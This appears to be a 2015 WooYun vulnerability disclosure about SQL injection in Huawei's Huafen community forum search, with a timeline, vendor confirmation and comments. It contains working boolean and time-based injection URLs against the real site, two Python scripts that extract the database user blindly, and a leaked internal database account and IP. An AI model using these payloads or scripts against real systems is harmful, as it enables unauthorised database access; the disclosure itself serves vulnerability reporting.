当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149972

漏洞标题：华为花粉用户社区存在SQL注入漏洞

相关厂商：华为技术有限公司

漏洞作者： 猪猪侠

提交时间：2015-10-27 23:02

修复时间：2015-12-12 00:38

公开时间：2015-12-12 00:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-27： 细节已通知厂商并且等待厂商处理中
2015-10-28： 厂商已经确认，细节仅向厂商公开
2015-11-07： 细节向核心白帽子及相关领域专家公开
2015-11-17： 细节向普通白帽子公开
2015-11-27： 细节向实习白帽子公开
2015-12-12： 细节向公众公开

简要描述：

华为花粉社区存在SQL注入漏洞(1800万用户)

详细说明：

#1 注入地址
返回正常内容

http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND 1=1 AND '%'='&action=search&sctype=0&id=auction


1.jpg


返回查询内容为空

http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND 1=2 AND '%'='&action=search&sctype=0&id=auction


2.jpg

漏洞证明：

#2 利用方法，参照vip的sleep注入
WooYun: 唯品会www主站存在SQL注入漏洞
以5秒为指数

(SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER()),1,1))=114)*5)))ring)


#!/usr/bin/env python
# encoding: utf-8
# huawei_club.py 
# ringzero@0x557.org
import requests
import time
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,20):
    for _str in payloads:
        start_time = time.time()
        url = "http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND (SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))ring) AND '%'='&action=search&sctype=0&id=auction"
        result = requests.get(url).text
        if(time.time() - start_time) > 3:
            print _str
            break


#exp2 由于使用sleep会把论坛搞死，采用第二种方法，判断返回页面大小
and 1=1 返回的page大小 > 30000
and 1=2 返回的page大小 < 30000

huawei.png


数据库用户名：huafen_new@10.41.50.36
数据库：emotionui
#使用返回网页大小判断EXPLOIT

#!/usr/bin/env python
# encoding: utf-8
# huawei_club.py 
# ringzero@0x557.org
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,20):
    for _str in payloads:
        url = "http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + " AND '%'='&action=search&sctype=0&id=auction"
        result = requests.get(url).text
        if len(result) > 30000:
            print _str
            break

修复方案：

# 搜索参数做转义或过滤

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-10-28 00:36

厂商回复：

感谢猪猪侠提醒，业务部门已进行修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-10-27 23:04 | creep ( 实习白帽子 | Rank:57 漏洞数:25 | 这家伙很懒，什么都没留下。)

    沙发

  2. 2015-10-27 23:05 | hecate ( 普通白帽子 | Rank:569 漏洞数:89 | ®高级安全工程师 | WooYun认证√)

    板凳

  3. 2015-10-27 23:06 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3650 漏洞数:282 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    测试exp的时候，sleep，直接睡过去了

  4. 2015-10-27 23:08 | hecate ( 普通白帽子 | Rank:569 漏洞数:89 | ®高级安全工程师 | WooYun认证√)

    @猪猪侠 然后就是 benchmark ？

  5. 2015-10-27 23:09 | DNS ( 普通白帽子 | Rank:543 漏洞数:61 | 没有我，你们就去背IP吧)

    卧槽 该睡了

  6. 2015-10-27 23:09 | Hackshy ( 实习白帽子 | Rank:45 漏洞数:22 | 猪猪侠爱吃棒棒糖)

    @猪猪侠 你都有那么多超级EXP了，还要睡觉干吗？

  7. 2015-10-27 23:10 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3650 漏洞数:282 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @Hackshy @DNS @hecate mysql服务器睡过去了

  8. 2015-10-27 23:11 | hecate ( 普通白帽子 | Rank:569 漏洞数:89 | ®高级安全工程师 | WooYun认证√)

    @猪猪侠 benchmark函数行否？

  9. 2015-10-27 23:13 | DNS ( 普通白帽子 | Rank:543 漏洞数:61 | 没有我，你们就去背IP吧)

    @猪猪侠 你都那么多棒棒糖了，给我几个啊

  10. 2015-10-27 23:28 | 心云 ( 普通白帽子 | Rank:153 漏洞数:49 | 闲的时候来一发)

    叼

  11. 2015-10-27 23:39 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3650 漏洞数:282 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    EXP 可以用二分折中算法改进

  12. 2015-10-28 00:33 | sqlfeng ( 普通白帽子 | Rank:218 漏洞数:40 | 我的中国心)

    参见教主！教主千秋万载，一统江湖！

  13. 2015-10-28 07:53 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    等公开看看。超级棒棒糖乃神器

  14. 2015-10-28 09:30 | 有归于无 ( 普通白帽子 | Rank:100 漏洞数:20 | 有归于无)

    怎么找出这么多漏洞的。。。

  15. 2015-10-28 14:30 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效，坚持好的习惯千万不要放弃)

    神器真牛逼，好诱人

  16. 2015-11-30 23:04 | F4K3R ( 普通白帽子 | Rank:318 漏洞数:34 | 学习)

    这是个0day吧